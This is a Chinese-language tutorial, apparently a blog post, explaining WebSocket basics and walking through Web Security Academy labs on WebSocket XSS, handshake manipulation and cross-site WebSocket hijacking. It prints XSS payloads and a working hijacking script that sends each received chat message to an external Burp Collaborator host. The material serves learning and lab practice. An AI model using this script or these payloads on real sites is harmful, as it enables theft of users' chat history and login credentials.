WebSocket安全漏洞
一、基础知识
1. 什么是WebSocket
WebSocket是通过HTTP启动的双向、全双工通信协议。它们通常用于流式传输数据和其他异步流量的现代Web应用程序中。最常见的是网站中的聊天机器人
2. 与HTTP的区别
WebSocket连接是通过HTTP发起,通常是长期存在的。消息可以随时向任何一个方向发送,并且本质上不是事务性的。连接通常保持打开和空闲状态,直到客户端或服务器发送消息。
WebSocket在需要低延迟或服务器发起消息的情况下特别有用,例如金融数据的实时馈送。
使用HTTP时,客户端发送请求,服务器返回响应。通常响应立即发生,事务完成。即使网络连接保持打开,请求和响应也是单独的事务。这一点和websocket本质上不同。
3. WebSocket 链接建立过程
- client-side JavaScript 用于定义链接
var ws = new WebSocket("wss://normal-website.com/chat");
- 浏览器发出WebSocket握手请求
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
- 返回WebSocket握手响应
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
- 网络连接保持打开状态,可用于在任一方向上发送WebSocket消息。
ws.send("Peter Wiener"); //客户端发送消息
{"user":"Hal Pline","content":"I wanted to be a Playstation growing up, not a device to answer your inane questions"} //通常JSON格式回复信息
4. 使用工具操作WebSocket流量
(1)拦截和修改WebSocket消息
(2)重播和生成新的WebSocket消息
(3)操纵WebSocket连接
二、漏洞利用
任何WEB安全问题都会出现在WebSockets中
- SQL 注入
- OAST
- XSS
- …
1. 篡改WebSocket消息内容
正常的信息交互如下:
{"message":"Hello Carlos"}
显示结果为 <td>Hello Carlos</td>
若无过滤,信息可修改为
{"message":"<img src=1 onerror='alert(1)'>"}
例题1
2. 操纵WebSocket握手以利用漏洞
某些WebSockets漏洞只能通过操纵WebSocket握手来发现和利用。这些漏洞往往涉及设计缺陷,
- 错误信任HTTP标头以执行安全决策,例如X-Forwarded-For标头。
- 会话处理机制存在缺陷,因为处理WebSocket消息的会话上下文通常由握手消息的会话上下文确定。
- 由应用程序使用的自定义HTTP标头引入的攻击面。
例题2
3. 跨站点WebSocket劫持 (CSWSH)
WebSocket握手上存在跨站点请求伪造(CSRF)漏洞时,可以构造跨站点WebSocket劫持攻击。
不要忘了CSRF三要素哈
CSWSH的影响
- 伪装成受害用户执行未经授权的操作。
- 检索用户可以访问的敏感数据。(与传统的CSRF不同,通过被劫持的WebSocket与易受攻击的应用程序进行双向交互。)
攻击构造
- 检查应用程序执行的WebSocket握手,并确定它们是否受到CSRF的保护。(三要素)
- 攻击者的网页可以执行跨站点请求,以打开目标站点上的WebSocket。
- 依据具体的实现逻辑尝试
- 伪装成用户执行未授权操作
- 发送WebSocket消息以检索敏感数据。
- 只是等待包含敏感数据的传入消息
例题3
三、漏洞实例
1. 操纵WebSocket消息以利用漏洞(Manipulating WebSocket messages to exploit vulnerabilities)
本题及其简单,仅仅是熟悉Burp如何拦截使用WebSocket的操作而已。或者直接使用网站页面直接输入即可。
<img src=1 onerror=alert(1)>
2. 纵WebSocket握手以利用漏洞(Manipulating the WebSocket handshake to exploit vulnerabilities)
3. 跨站点WebSocket劫持(Cross-site WebSocket hijacking)
目标:获取目标用户聊天记录,获取登录账号口令等敏感信息,登录其账户。
(1)查看WebSocket相关信息
GET /chat HTTP/1.1
Host: ac351fbb1f9283b3c0951a8f008900c7.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Sec-WebSocket-Version: 13
Origin: https://ac351fbb1f9283b3c0951a8f008900c7.web-security-academy.net
Sec-WebSocket-Key: YMjuNMYTvLI96SD0GLDM0A==
Connection: keep-alive, Upgrade
Cookie: session=81Q5ZYqw7qoiHwleuELCxRHqOM3nQ1z2
Sec-Fetch-Dest: websocket
Sec-Fetch-Mode: websocket
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket
<script> var ws = new WebSocket('wss://ac351fbb1f9283b3c0951a8f008900c7.web-security-academy.net/chat');ws.onopen = function() { // wss://聊天机器人页面地址ws.send("READY");};ws.onmessage = function(event) { // 此处url为burp-burpcollaborator的urlfetch('https://g7o3loj3is5fvrfiwjg9pfuuolubi0.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body: event.data});};
</script>
WebSocket安全漏洞相关推荐
- 前端websocket劫持漏洞(CSWSH)
0x00 什么是ws劫持 在Websocket的业务中,其中常见的漏洞是ws劫持,全称为跨站点CSWSH(Cross-Site WebSocket Hijacking)跨站WebSocket劫持漏洞. ...
- 深入浅出FE(十四)深入浅出websocket
一.理论知识 1.1 引言 Websocket是一个持久化的协议 协议分为ws(80端口)协议 和wss(443端口)协议. WebSocket是一种在单个TCP连接上进行全双工通信的协议.WebSo ...
- Web端即时通讯实践干货:如何让WebSocket断网重连更快速?
本文作者网易智慧企业web前端开发工程师马莹莹.为了提升内容质量,收录时有修订和改动. 1.引言 在一个完善的即时通讯IM应用中,WebSocket是极其关键的一环,它为基于Web的即时通讯应用提供了 ...
- 八问WebSocket协议:为你快速解答WebSocket热门疑问
一.引言 WebSocket是一种比较新的协议,它是伴随着html5规范而生的,虽然还比较年轻,但大多主流浏览器都已经支持.它使用方面.应用广泛,已经渗透到前后端开发的各种场景中. 对http一问一答 ...
- 一文读懂Https的安全性原理、数字证书、单项认证、双项认证等
为什么80%的码农都做不了架构师?>>> 本文引用了作者Smily(博客:blog.csdn.net/qq_20521573)的文章内容,感谢无私分享. 1.前言 目前苹果公司 ...
- 脑残式网络编程入门(三):HTTP协议必知必会的一些知识
为什么80%的码农都做不了架构师?>>> 本文原作者:"竹千代",原文由"玉刚说"写作平台提供写作赞助,原文版权归"玉刚说&q ...
- IM开发基础知识补课:正确理解前置HTTP SSO单点登陆接口的原理
1.前言 一个安全的信息系统,合法身份检查是必须环节.尤其IM这种以"人"为中心的社交体系,身份认证更是必不可少. 一些PC时代小型IM系统中,身份认证可能直接做到长连接中(也就是 ...
- 机器学习 贝叶斯方法_机器学习中的常客与贝叶斯方法
机器学习 贝叶斯方法 There has always been a debate between Bayesian and frequentist statistical inference. Fr ...
- 自已开发IM有那么难吗?手把手教你自撸一个Andriod版简易IM (有源码)
本文由作者FreddyChen原创分享,为了更好的体现文章价值,引用时有少许改动,感谢原作者. 1.写在前面 一直想写一篇关于im即时通讯分享的文章,无奈工作太忙,很难抽出时间.今天终于从公司离职了, ...
最新文章
- thinkpad触控笔怎么用_笔记本电脑卡死了怎么办关不了机
- 9开头的两位数相乘速算法
- docker安装nginx并进行-v挂载
- JavaScript DOM 编程艺术 --- JavaScript语法
- 问题 1: 区间交集
- 32查运行内存的map文件_Spark Shuffle调优之调节map端内存缓冲与reduce端内存占比
- PHP 判断是否包含某字符串
- 开发环境很重要,需要学习如何自己搭建开发环境
- 基于JAVA+Spring+MYSQL的码头船只出行管理系统
- python与线性代数 向量方程
- 从OpenStack到OpenInfra
- 草莓CDMS原创内容分销系统-微信小说平台系统v1.0
- 思科模拟器5506防火墙配置_租用电信线路,三地网络互联的配置——Cisco、Hillstone路由配置...
- 软件工程案例-仓库管理系统简单版
- 电力LED时钟系统解决方案实现精确时间同步
- HTML Canvas 刮刮卡抽奖效果的实现
- 非线性可视化(3)混沌系统
- 智能优化算法之遗传算法(GA)的实现(基于二进制编码,Python附源码)
- 电大工商管理计算机考试,东方电大工商管理专科计算机期末复习应用基础实验报告...
- 使用c++给程序获取管理员权限
热门文章
- 常见支持linux平台的应用软件
- oracle将其他字段类型改为clob类型方法
- 如何轻松的破解excel 2016工作表密码
- Python能做什么?
- ROS机器人项目开发11例-ROS Robotics Projects(10)机器人Web工具集
- 广电网宽带 如果要远程连接阿里RDS数据库,设置了白名单也不行。
- 框架模式MVC与MVP在Android中的应用
- matlab中各种括号(),[],与{}的区别与认识
- win10/win11 + WSL + gui 配置教程
- python爬虫笔记(学习T)